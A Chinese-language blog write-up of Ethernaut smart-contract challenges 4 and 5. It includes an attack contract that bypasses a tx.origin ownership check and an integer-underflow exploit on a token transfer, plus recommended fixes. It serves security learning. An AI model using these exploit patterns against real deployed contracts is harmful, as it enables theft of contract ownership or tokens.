Ethernaut-刷题小记(三)

Ethernaut-刷题小记(三)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

代码很短,可以一眼就看到关键点在tx.origin != msg.sender

先了解一下这两个是什么东西

Solidity官方文档解释如下

  • msg.sender (address):消息的发送者(当前调用)
  • tx.origin (address):交易的发送者(完整调用链)

注:msg 的所有成员的值,包括 msg.sendermsg.value 可以在每次 外部 函数调用中变化。 这包括对库函数的调用。

tx.origin将返回最初发送交易的地址,而msg.sender将返回发起external调用的地址。

写个例子理解一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Victim {
function whoIsCaller() public view returns (address sender, address origin) {
return (msg.sender, tx.origin);
}
}

contract Middleman {
Victim victim;

constructor(address _victim) {
victim = Victim(_victim);
}

function callVictim() public view returns (address, address) {
return victim.whoIsCaller();
}
}

第一个合约部署后调用函数如下

image-20250320175914896

第二个合约部署后调用函数如下

image-20250320180058864

可以看到msg.sender已经改变,不再是原来的地址了

那么我们就可以利用这一点进行攻击

直接上攻击代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './Level4.sol';

contract attack {
address public owner;
Telephone telephone;

constructor (address _telephone) {
owner=msg.sender;
telephone = Telephone(_telephone);
}
function attacker() public {
telephone.changeOwner(msg.sender);
}
}

攻击前

image-20250320185248323

攻击后

image-20250320190955609

已经拿到合约所有者。

修复方案

  1. 避免使用 tx.origin 进行权限验证

    • 直接使用 msg.sender,这样合约调用不会绕过限制:
    1
    2
    3
    4
    function changeOwner(address _newOwner) public {
    require(msg.sender == owner, "Only owner can change owner");
    owner = _newOwner;
    }
  2. 使用 onlyOwner 修饰符

    • 采用 OpenZeppelin 的 Ownable 库:
    1
    2
    3
    4
    5
    6
    7
    import "@openzeppelin/contracts/access/Ownable.sol";

    contract Telephone is Ownable {
    function changeOwner(address _newOwner) public onlyOwner {
    transferOwnership(_newOwner);
    }
    }

继续第五关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
mapping(address => uint256) balances;
uint256 public totalSupply;

//初始化
constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

//转账代码
function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

//返回owner的余额
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}

问题出在require(balances[msg.sender] - _value >= 0);这里

uint256 是无符号整数,不能表示负数。
如果 msg.sender 余额不足,balances[msg.sender] - _value 可能会下溢,变成一个极大的正数,导致 require 语句仍然通过。也就是整数下溢。

简单来说就是这样:比如我有两个uint4:1011和0101,相加得到的理应是10000,但是由于uint4只有4位,所以最前面那个1会被省略,变成0000,这就和油量表一样,超过最大值9999.99就回到最小值0000.00一样

同时由于Solidity它这些uint不存在负数,所以就会出现这种溢出的情况,比如0000-1=1111的情况

所以直接向有效地址传21token就ok了

image-20250320210730942

修复方法

1、修改 require 语句:

1
require(balances[msg.sender] >= _value, "Insufficient balance");

这样可以确保 msg.sender 余额充足,防止整数下溢。

2、使用0.8.0以上的solidity

3、导入OpenzeppelinSafeMath.sol


Ethernaut-刷题小记(三)
https://eznp.github.io/2025/03/20/Ethernaut-刷题小记(三)/
作者
Zer0
发布于
2025年3月20日
许可协议